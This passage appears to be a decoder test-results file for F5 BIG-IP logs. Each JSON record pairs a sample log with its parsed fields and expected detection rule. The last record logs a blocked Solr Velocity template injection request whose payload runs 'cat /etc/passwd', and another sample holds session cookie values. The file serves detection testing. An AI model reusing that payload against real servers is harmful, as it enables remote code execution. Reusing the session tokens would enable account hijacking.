"parent": "", "fields": {"event.code": "01010329", "event.type": "type", "log.level": "0", "message": "BDoS: (TMM) Signature componentName: threshold_mode=componentName detection=%u mitigation_curr=%llu", "process.name": "process", "process.pid": "20175"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid"], "rule": "65266", "level": "13", "expected_decoder": "f5-bigip", "expected_rule": "65266", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "Ongoing DDos attack"} +{"log": "May 5 04:26:19 hostname type process[20175]: 01010302:0: BDoS: (TMM) componentName signature (componentName) for context componentName at idx %u (detection=%u mitigation=%u state=componentName transient=componentName retired=componentName).", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "01010302", "event.type": "type", "log.level": "0", "message": "BDoS: (TMM) componentName signature (componentName) for context componentName at idx %u (detection=%u mitigation=%u state=componentName transient=componentName retired=componentName).", "process.name": "process", "process.pid": "20175"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid"], "rule": "65267", "level": "11", "expected_decoder": "f5-bigip", "expected_rule": "65267", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "Created/Updated (AFM) BDoS dynamic signature by the AFM bdosd daemon during an attack"} +{"log": "May 5 04:26:19 hostname type process[20175]: 01010250:0: Pool member %A:%u exceeded configured rate limit.", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "01010250", "event.type": "type", "log.level": "0", "message": "Pool member %A:%u exceeded configured rate limit.", "process.name": "process", "process.pid": "20175"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid"], "rule": "65268", "level": "10", "expected_decoder": "f5-bigip", "expected_rule": "65268", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "Number of allowed new connections per second for pool member has been exceeded"} +{"log": "May 5 04:26:19 hostname type process[20175]: 01010241:0: Syncookie HW mode exited, server = 1.1.1.1:4000, HSB modId = 40 from componentName.", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "01010241", "event.type": "type", "log.level": "0", "message": "Syncookie HW mode exited, server = 1.1.1.1:4000, HSB modId = 40 from componentName.", "process.name": "process", "process.pid": "20175", "srcip": "1.1.1.1", "srcport": "4000"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid", "srcip", "srcport"], "rule": "65269", "level": "6", "expected_decoder": "f5-bigip", "expected_rule": "65269", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "Syncookie DOS attack has stopped"} +{"log": "May 5 04:26:19 hostname type process[20175]: 01010056:0: Syncookie counter 40 exceeded vip threshold %u for virtual = componentName", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "01010056", "event.type": "type", "log.level": "0", "message": "Syncookie counter 40 exceeded vip threshold %u for virtual = componentName", "process.name": "process", "process.pid": "20175"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid"], "rule": "65270", "level": "10", "expected_decoder": "f5-bigip", "expected_rule": "65270", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "Syncookie counter exceeded vip threshold"} +{"log": "May 5 04:26:19 hostname type process[20175]: 01010344:0: Syncookie SW mode exited, server = 1.1.1.1:4000", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "01010344", "event.type": "type", "log.level": "0", "message": "Syncookie SW mode exited, server = 1.1.1.1:4000", "process.name": "process", "process.pid": "20175", "srcip": "1.1.1.1", "srcport": "4000"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid", "srcip", "srcport"], "rule": "65271", "level": "2", "expected_decoder": "f5-bigip", "expected_rule": "65271", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "SYN cookie state exited"} +{"log": "May 5 04:26:19 hostname type process[20175]: 01071bee:0: SSLv2 is no longer supported and has been removed. The 'sslv2' keyword in the cipher string has been ignored.", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "01071bee", "event.type": "type", "log.level": "0", "message": "SSLv2 is no longer supported and has been removed. The 'sslv2' keyword in the cipher string has been ignored.", "process.name": "process", "process.pid": "20175"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid"], "rule": "65272", "level": "4", "expected_decoder": "f5-bigip", "expected_rule": "65272", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "SSLv2 is no longer supported and has been removed"} +{"log": "May 5 04:26:19 hostname type process[20175]: 01070822:0: \"Access Denied: componentName\"", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "01070822", "event.type": "type", "log.level": "0", "message": "\"Access Denied: componentName\"", "process.name": "process", "process.pid": "20175"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid"], "rule": "65273", "level": "5", "expected_decoder": "f5-bigip", "expected_rule": "65273", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "User is prevented from doing things they are not authorized to do."} +{"log": "May 5 04:26:19 hostname type process[20175]: 01071bd1:0: Inbound CMI connection from IP (componentName) denied because it came from VLAN (componentName), not from expected VLAN (componentName).", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "01071bd1", "event.type": "type", "log.level": "0", "message": "Inbound CMI connection from IP (componentName) denied because it came from VLAN (componentName), not from expected VLAN (componentName).", "process.name": "process", "process.pid": "20175"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid"], "rule": "65274", "level": "9", "expected_decoder": "f5-bigip", "expected_rule": "65274", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "Mcpd has detected that sync traffic is being sent over a VLAN that is not the correct one."} +{"log": "May 5 04:26:19 hostname type process[20175]: 01860017:0: MR_SIP: Too many media sessions 40 / 40. Error Code 40", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "01860017", "event.type": "type", "log.level": "0", "message": "MR_SIP: Too many media sessions 40 / 40. Error Code 40", "process.name": "process", "process.pid": "20175"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid"], "rule": "65275", "level": "10", "expected_decoder": "f5-bigip", "expected_rule": "65275", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "Too many SIP media sessions have been established for the current configuration."} +{"log": "May 5 04:26:19 hostname type process[20175]: 01010020:0: MCP Connection componentName, exiting", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "01010020", "event.type": "type", "log.level": "0", "message": "MCP Connection componentName, exiting", "process.name": "process", "process.pid": "20175"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid"], "rule": "65276", "level": "10", "expected_decoder": "f5-bigip", "expected_rule": "65276", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "Critical error for TMM. It restarts. Attempts to reconnect will be made after that."} +{"log": "May 5 04:26:19 hostname type process[20175]: 01071d0b:0: adm: componentName", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "01071d0b", "event.type": "type", "log.level": "0", "message": "adm: componentName", "process.name": "process", "process.pid": "20175"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid"], "rule": "65277", "level": "12", "expected_decoder": "f5-bigip", "expected_rule": "65277", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "Errors could be caused by a broken feature or critical system errors."} +{"log": "May 5 04:26:19 hostname type process[20175]: 012a0002:0: \"LIBHAL reporting critical conditions\"", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "012a0002", "event.type": "type", "log.level": "0", "message": "\"LIBHAL reporting critical conditions\"", "process.name": "process", "process.pid": "20175"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid"], "rule": "65278", "level": "10", "expected_decoder": "f5-bigip", "expected_rule": "65278", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "The HAL daemon might not be able to correctly identify the platform or publish the hardware abstraction configuration at startup, or has encountered a critical failure during normal operation."} +{"log": "May 5 04:26:19 hostname type process[20175]: 012a0003:0: LIBHAL reporting error conditions", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "012a0003", "event.type": "type", "log.level": "0", "message": "LIBHAL reporting error conditions", "process.name": "process", "process.pid": "20175"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid"], "rule": "65278", "level": "10", "expected_decoder": "f5-bigip", "expected_rule": "65278", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "The HAL daemon might not be able to correctly identify the platform or publish the hardware abstraction configuration at startup, or has encountered a critical failure during normal operation."} +{"log": "May 5 04:26:19 hostname type process[20175]: 012a0013:0: Blade 40 hardware sensor critical alarm: componentName", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "012a0013", "event.type": "type", "log.level": "0", "message": "Blade 40 hardware sensor critical alarm: componentName", "process.name": "process", "process.pid": "20175"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid"], "rule": "65279", "level": "13", "expected_decoder": "f5-bigip", "expected_rule": "65279", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "Hardware sensor critical alarm."} +{"log": "May 5 04:26:19 hostname type process[20175]: 012a0031:0: componentName", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "012a0031", "event.type": "type", "log.level": "0", "message": "componentName", "process.name": "process", "process.pid": "20175"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid"], "rule": "65280", "level": "12", "expected_decoder": "f5-bigip", "expected_rule": "65280", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "AOM has indicated that a temperature sensor has crossed a 'critical' level threshold."} +{"log": "May 5 04:26:19 hostname type process[20175]: 012a0037:0: componentName", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "012a0037", "event.type": "type", "log.level": "0", "message": "componentName", "process.name": "process", "process.pid": "20175"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid"], "rule": "65281", "level": "12", "expected_decoder": "f5-bigip", "expected_rule": "65281", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "AOM has indicated that a fan sensor has crossed a 'critical' threshold."} +{"log": "May 5 04:26:19 hostname type process[20175]: 012a0043:0: componentName", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "012a0043", "event.type": "type", "log.level": "0", "message": "componentName", "process.name": "process", "process.pid": "20175"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid"], "rule": "65282", "level": "12", "expected_decoder": "f5-bigip", "expected_rule": "65282", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "AOM has indicated that a power sensor has crossed a 'critical' threshold."} +{"log": "May 5 04:26:19 hostname type process[20175]: 012c0011:0: BCM56XXD SDK error", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "012c0011", "event.type": "type", "log.level": "0", "message": "BCM56XXD SDK error", "process.name": "process", "process.pid": "20175"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid"], "rule": "65283", "level": "12", "expected_decoder": "f5-bigip", "expected_rule": "65283", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "Critical error that prevents the broadcom switch from operating at the proper configuration required by BIG-IP."} +{"log": "May 5 04:26:19 hostname type process[20175]: 01340003:0: Cluster error: componentName", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "01340003", "event.type": "type", "log.level": "0", "message": "Cluster error: componentName", "process.name": "process", "process.pid": "20175"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid"], "rule": "65284", "level": "10", "expected_decoder": "f5-bigip", "expected_rule": "65284", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "Critical errors in communication between TMM threads, specifically by MPI proxy."} +{"log": "May 5 04:26:19 hostname type process[20175]: 01510003:0: componentName", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "01510003", "event.type": "type", "log.level": "0", "message": "componentName", "process.name": "process", "process.pid": "20175"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid"], "rule": "65285", "level": "9", "expected_decoder": "f5-bigip", "expected_rule": "65285", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "Serious issue preventing the guest from starting or shutting down."} +{"log": "May 5 04:26:19 hostname type process[20175]: 01550004:0: Critical:", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "01550004", "event.type": "type", "log.level": "0", "message": "Critical:", "process.name": "process", "process.pid": "20175"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid"], "rule": "65286", "level": "12", "expected_decoder": "f5-bigip", "expected_rule": "65286", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "Critical: The BIG-IP system is not allowed not to go Active."} +{"log": "May 5 04:26:19 hostname type process[20175]: 01550005:0: Critical:", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "01550005", "event.type": "type", "log.level": "0", "message": "Critical:", "process.name": "process", "process.pid": "20175"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid"], "rule": "65286", "level": "12", "expected_decoder": "f5-bigip", "expected_rule": "65286", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "Critical: The BIG-IP system is not allowed not to go Active."} +{"log": "May 5 04:26:19 hostname type process[20175]: 01550006:0: Critical:", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "01550006", "event.type": "type", "log.level": "0", "message": "Critical:", "process.name": "process", "process.pid": "20175"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid"], "rule": "65286", "level": "12", "expected_decoder": "f5-bigip", "expected_rule": "65286", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "Critical: The BIG-IP system is not allowed not to go Active."} +{"log": "May 5 04:26:19 hostname type process[20175]: 01940007:0: \"Failed to allocate the errdefs tmconf handle!\"", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "01940007", "event.type": "type", "log.level": "0", "message": "\"Failed to allocate the errdefs tmconf handle!\"", "process.name": "process", "process.pid": "20175"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid"], "rule": "65287", "level": "7", "expected_decoder": "f5-bigip", "expected_rule": "65287", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "Critical: The errdefsd daemon is out of memory."} +{"log": "May 5 04:26:19 hostname type process[20175]: 01a70028:0: The platform was not found in componentName.", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "01a70028", "event.type": "type", "log.level": "0", "message": "The platform was not found in componentName.", "process.name": "process", "process.pid": "20175"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid"], "rule": "65288", "level": "7", "expected_decoder": "f5-bigip", "expected_rule": "65288", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "Critical: The file /PLATFORM isn't found, and licensing logic cannot determine the platform type."} +{"log": "May 5 04:26:19 hostname type process[20175]: 01071d94:0: Bot Defense Profile (componentName) Micro Service (componentName): Missing required field (componentName).", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "01071d94", "event.type": "type", "log.level": "0", "message": "Bot Defense Profile (componentName) Micro Service (componentName): Missing required field (componentName).", "process.name": "process", "process.pid": "20175"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid"], "rule": "65289", "level": "3", "expected_decoder": "f5-bigip", "expected_rule": "65289", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "Bot Defense"} +{"log": "May 5 04:26:19 hostname type process[20175]: 01071d9e:0: Bot defense anomaly componentName not found.", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "01071d9e", "event.type": "type", "log.level": "0", "message": "Bot defense anomaly componentName not found.", "process.name": "process", "process.pid": "20175"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid"], "rule": "65289", "level": "3", "expected_decoder": "f5-bigip", "expected_rule": "65289", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "Bot Defense"} +{"log": "May 5 04:26:19 hostname type process[20175]: 013e0002:0: Tcpdump stopping on %la:%u from %la:%u", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "013e0002", "event.type": "type", "log.level": "0", "message": "Tcpdump stopping on %la:%u from %la:%u", "process.name": "process", "process.pid": "20175"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid"], "rule": "65290", "level": "2", "expected_decoder": "f5-bigip", "expected_rule": "65290", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "Tcp Dump"} +{"log": "May 5 04:26:19 hostname type process[20175]: 013e0005:0: Tcpdump starting remote to %A from %A", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "013e0005", "event.type": "type", "log.level": "0", "message": "Tcpdump starting remote to %A from %A", "process.name": "process", "process.pid": "20175"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid"], "rule": "65291", "level": "3", "expected_decoder": "f5-bigip", "expected_rule": "65291", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "Tcp Dump remote session"} +{"log": "May 4 13:42:12 some.host.name crit server_handler.pl[24895]: 01310027:2: ASM subsystem error (asm_config_server.pl,(eval)): Couldn't pass call to async process - ignoring", "decoder": "f5-bigip", "parent": "", "fields": {"bigip.asm.subsystem": "(asm_config_server.pl,(eval))", "error.message": "Couldn't pass call to async process - ignoring", "event.code": "01310027", "event.type": "crit", "log.level": "2", "message": "ASM subsystem error (asm_config_server.pl,(eval)): Couldn't pass call to async process - ignoring", "process.name": "server_handler.pl", "process.pid": "24895"}, "field_names": ["bigip.asm.subsystem", "error.message", "event.code", "event.type", "log.level", "message", "process.name", "process.pid"], "rule": "65292", "level": "7", "expected_decoder": "f5-bigip", "expected_rule": "65292", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "ASM Error"} +{"log": "May 4 18:23:02 some.host.name ASM: CEF:0|F5|ASM|14.1.2|Illegal HTTP status in response|Illegal HTTP status in response|2|dvchost=some.host.name dvc=192.168.1.000 cs1=/Common/webportal-waf-policy cs1Label=policy_name cs2=/Common/webportal-waf-policy cs2Label=http_class_name deviceCustomDate1=May 03 2021 16:57:44 deviceCustomDate1Label=policy_apply_date externalId=15489460216395818345 act=alerted cn1=409 cn1Label=response_code src=00.00.00.00 spt=59270 dst=111.1111.11.1 dpt=443 requestMethod=GET app=HTTPS cs5=22.22.22.22 cs5Label=x_forwarded_for_header_value rt=May 04 2021 18:23:02 deviceExternalId=0 cs4=Information Leakage cs4Label=attack_type cs6=N/A cs6Label=geo_location c6a1= c6a1Label=device_address c6a2= c6a2Label=source_address c6a3= c6a3Label=destination_address c6a4= c6a4Label=ip_address_intelligence msg=N/A suid=2b2f405ccde7b7ed suser=N/A cn2=1 cn2Label=violation_rating cn3=0 cn3Label=device_id microservice=N/A request=/some/path cs3Label=full_request cs3=GET /other/path HTTP/1.1\\r\\nHost: some.host\\r\\nConnection: keep-alive\\r\\nsec-ch-ua: \" Not A;Brand\";v\\=\"99\", \"Chromium\";v\\=\"90\", \"Google Chrome\";v\\=\"90\"\\r\\nsec-ch-ua-mobile: ?0\\r\\nX-AUSERNAME: auser.g\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36\\r\\nContent-Type: application/json\\r\\nAccept: application/json, text/javascript, */*; q\\=0.01\\r\\nX-Requested-With: XMLHttpRequest\\r\\nX-AUSERID: 1516\\r\\nSec-Fetch-Site: same-origin\\r\\nSec-Fetch-Mode: cors\\r\\nSec-Fetch-Dest: empty\\r\\nReferer: https://some.url?until\\=refs%2Fheads%2Fgcp_migration_stage\\r\\nAccept-Encoding: gzip, deflate, br\\r\\nAccept-Language: en-GB,en-US;q\\=0.9,en;q\\=0.8\\r\\nCookie: _atl_bitbucket_remember_me\\=M2ExMjNiMDE5MDExMTU1MTg2NzZjMGEwOTVkMWUwY2I0NTk5ZDUxMjo3MzA5NzM2NmVmMWEwYTRlNzIxMjdhYjFjYTEyN2I3NDAwMWE5M2U2; JSESSIONID\\=9B114064A2D6E2CC7693BB809D66F136; TS01e7480f\\=012bb8697ce2411b8d331492ed24011b153e498024e63bf863baf9f23364ced5fd2cd43bc3739eaad01a5225f494649800c636a4889315f38d7febb1900a774eb2cfa0c6788a91c93eab0ff7a4e61eb422fe089b57\\r\\nX-Forwarded-For: 00.0.000.110\\r\\n\\r\\n#015", "decoder": "f5-bigip-cef", "parent": "", "fields": {"act": "alerted", "action": "HTTP status in response", "app": "HTTPS", "c6a1Label": "device_address", "c6a2Label": "source_address", "c6a3Label": "destination_address", "c6a4Label": "ip_address_intelligence", "cn1": "409", "cn1Label": "response_code", "cn2": "1", "cn2Label": "violation_rating", "cn3": "0", "cn3Label": "device_id", "cs1": "/Common/webportal-waf-policy", "cs1Label": "policy_name", "cs2": "/Common/webportal-waf-policy", "cs2Label": "http_class_name", "cs3": "GET /other/path HTTP/1.1\\r\\nHost: some.host\\r\\nConnection: keep-alive\\r\\nsec-ch-ua: \" Not A;Brand\";v\\=\"99\", \"Chromium\";v\\=\"90\", \"Google Chrome\";v\\=\"90\"\\r\\nsec-ch-ua-mobile: ?0\\r\\nX-AUSERNAME: auser.g\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36\\r\\nContent-Type: application/json\\r\\nAccept: application/json, text/javascript, */*; q\\=0.01\\r\\nX-Requested-With: XMLHttpRequest\\r\\nX-AUSERID: 1516\\r\\nSec-Fetch-Site: same-origin\\r\\nSec-Fetch-Mode: cors\\r\\nSec-Fetch-Dest: empty\\r\\nReferer: https://some.url?until\\=refs%2Fheads%2Fgcp_migration_stage\\r\\nAccept-Encoding: gzip, deflate, br\\r\\nAccept-Language: en-GB,en-US;q\\=0.9,en;q\\=0.8\\r\\nCookie: _atl_bitbucket_remember_me\\=M2ExMjNiMDE5MDExMTU1MTg2NzZjMGEwOTVkMWUwY2I0NTk5ZDUxMjo3MzA5NzM2NmVmMWEwYTRlNzIxMjdhYjFjYTEyN2I3NDAwMWE5M2U2; JSESSIONID\\=9B114064A2D6E2CC7693BB809D66F136; TS01e7480f\\=012bb8697ce2411b8d331492ed24011b153e498024e63bf863baf9f23364ced5fd2cd43bc3739eaad01a5225f494649800c636a4889315f38d7febb1900a774eb2cfa0c6788a91c93eab0ff7a4e61eb422fe089b57\\r\\nX-Forwarded-For: 00.0.000.110\\r\\n\\r\\n#015", "cs3Label": "full_request", "cs4": "Information Leakage", "cs4Label": "attack_type", "cs5": "22.22.22.22", "cs5Label": "x_forwarded_for_header_value", "cs6": "N/A", "cs6Label": "geo_location", "deviceCustomDate1": "May 03 2021 16:57:44", "deviceCustomDate1Label": "policy_apply_date", "deviceExternalId": "0", "dstip": "111.1111.11.1", "dstport": "443", "dstuser": "N/A", "dvchost": "some.host.name", "externalId": "15489460216395818345", "message": "Illegal HTTP status in response|Illegal HTTP status in response|2|dvchost=some.host.name dvc=192.168.1.000 cs1=/Common/webportal-waf-policy cs1Label=policy_name cs2=/Common/webportal-waf-policy cs2Label=http_class_name deviceCustomDate1=May 03 2021 16:57:44 deviceCustomDate1Label=policy_apply_date externalId=15489460216395818345 act=alerted cn1=409 cn1Label=response_code src=00.00.00.00 spt=59270 dst=111.1111.11.1 dpt=443 requestMethod=GET app=HTTPS cs5=22.22.22.22 cs5Label=x_forwarded_for_header_value rt=May 04 2021 18:23:02 deviceExternalId=0 cs4=Information Leakage cs4Label=attack_type cs6=N/A cs6Label=geo_location c6a1= c6a1Label=device_address c6a2= c6a2Label=source_address c6a3= c6a3Label=destination_address c6a4= c6a4Label=ip_address_intelligence msg=N/A suid=2b2f405ccde7b7ed suser=N/A cn2=1 cn2Label=violation_rating cn3=0 cn3Label=device_id microservice=N/A request=/some/path cs3Label=full_request cs3=GET /other/path HTTP/1.1\\r\\nHost: some.host\\r\\nConnection: keep-alive\\r\\nsec-ch-ua: \" Not A;Brand\";v\\=\"99\", \"Chromium\";v\\=\"90\", \"Google Chrome\";v\\=\"90\"\\r\\nsec-ch-ua-mobile: ?0\\r\\nX-AUSERNAME: auser.g\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36\\r\\nContent-Type: application/json\\r\\nAccept: application/json, text/javascript, */*; q\\=0.01\\r\\nX-Requested-With: XMLHttpRequest\\r\\nX-AUSERID: 1516\\r\\nSec-Fetch-Site: same-origin\\r\\nSec-Fetch-Mode: cors\\r\\nSec-Fetch-Dest: empty\\r\\nReferer: https://some.url?until\\=refs%2Fheads%2Fgcp_migration_stage\\r\\nAccept-Encoding: gzip, deflate, br\\r\\nAccept-Language: en-GB,en-US;q\\=0.9,en;q\\=0.8\\r\\nCookie: _atl_bitbucket_remember_me\\=M2ExMjNiMDE5MDExMTU1MTg2NzZjMGEwOTVkMWUwY2I0NTk5ZDUxMjo3MzA5NzM2NmVmMWEwYTRlNzIxMjdhYjFjYTEyN2I3NDAwMWE5M2U2; JSESSIONID\\=9B114064A2D6E2CC7693BB809D66F136; TS01e7480f\\=012bb8697ce2411b8d331492ed24011b153e498024e63bf863baf9f23364ced5fd2cd43bc3739eaad01a5225f494649800c636a4889315f38d7febb1900a774eb2cfa0c6788a91c93eab0ff7a4e61eb422fe089b57\\r\\nX-Forwarded-For: 00.0.000.110\\r\\n\\r\\n#015", "microservice": "N/A", "msg": "N/A", "request": "/some/path", "requestMethod": "GET", "rt": "May 04 2021 18:23:02", "srcip": "00.00.00.00", "srcport": "59270", "suid": "2b2f405ccde7b7ed", "type": "Illegal"}, "field_names": ["act", "action", "app", "c6a1Label", "c6a2Label", "c6a3Label", "c6a4Label", "cn1", "cn1Label", "cn2", "cn2Label", "cn3", "cn3Label", "cs1", "cs1Label", "cs2", "cs2Label", "cs3", "cs3Label", "cs4", "cs4Label", "cs5", "cs5Label", "cs6", "cs6Label", "deviceCustomDate1", "deviceCustomDate1Label", "deviceExternalId", "dstip", "dstport", "dstuser", "dvchost", "externalId", "message", "microservice", "msg", "request", "requestMethod", "rt", "srcip", "srcport", "suid", "type"], "rule": "65294", "level": "12", "expected_decoder": "f5-bigip-cef", "expected_rule": "65294", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "ASM Illegal Action"} +{"log": "May 5 01:34:01 lb1.corp.ovo.id ASM: CEF:0|F5|ASM|14.1.2|200002273|SQL-INJ exec()|5|dvchost=lb1.corp.ovo.id dvc=192.168.10.4 cs1=/Common/www.ovo.id-waf-policy cs1Label=policy_name cs2=/Common/www.ovo.id-waf-policy cs2Label=http_class_name deviceCustomDate1=Apr 30 2021 07:40:41 deviceCustomDate1Label=policy_apply_date externalId=15489460216395963001 act=blocked cn1=0 cn1Label=response_code src=167.71.70.165 spt=13370 dst=10.50.72.35 dpt=443 requestMethod=GET app=HTTPS cs5=167.71.70.165 cs5Label=x_forwarded_for_header_value rt=May 05 2021 01:34:00 deviceExternalId=0 cs4=SQL-Injection cs4Label=attack_type cs6=NL cs6Label=geo_location c6a1= c6a1Label=device_address c6a2= c6a2Label=source_address c6a3= c6a3Label=destination_address c6a4= c6a4Label=ip_address_intelligence msg=N/A suid=0 suser=N/A cn2=5 cn2Label=violation_rating cn3=0 cn3Label=device_id microservice=N/A request=/solr/atom/select?q\\=1&&wt\\=velocity&v.template\\=custom&v.template.custom\\=%23set($x\\=%27%27)+%23set($rt\\=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr\\=$x.class.forName(%27java.lang.Character%27))+%23set($str\\=$x.class.forName(%27java.lang.String%27))+%23set($ex\\=$rt.getRuntime().exec(%27cat%20/etc/passwd%27))+$ex.waitFor()+%23set($out\\=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end cs3Label=full_request cs3=GET /solr/atom/select?q\\=1&&wt\\=velocity&v.template\\=custom&v.template.custom\\=%23set($x\\=%27%27)+%23set($rt\\=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr\\=$x.class.forName(%27java.lang.Character%27))+%23set($str\\=$x.class.forName(%27java.lang.String%27))+%23set($ex\\=$rt.getRuntime().exec(%27cat%20/etc/passwd%27))+$ex.waitFor()+%23set($out\\=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.0\\r\\nHost: upgrade.ovo.id\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q\\=0.9,*/*;q\\=0.8\\r\\nAccept-Language: en-US,en;q\\=0.5\\r\\nX-Cnection: close\\r\\nUpgrade-Insecure-Requests: 1\\r\\nX-Forwarded-For: 167.71.70.165\\r\\nConnection: Keep-Alive\\r\\n\\r\\n#015", "decoder": "f5-bigip-cef", "parent": "", "fields": {"act": "blocked", "app": "HTTPS", "c6a1Label": "device_address", "c6a2Label": "source_address", "c6a3Label": "destination_address", "c6a4Label": "ip_address_intelligence", "cn1": "0", "cn1Label": "response_code", "cn2": "5", "cn2Label": "violation_rating", "cn3": "0", "cn3Label": "device_id", "cs1": "/Common/www.ovo.id-waf-policy", "cs1Label": "policy_name", "cs2": "/Common/www.ovo.id-waf-policy", "cs2Label": "http_class_name", "cs3": "GET 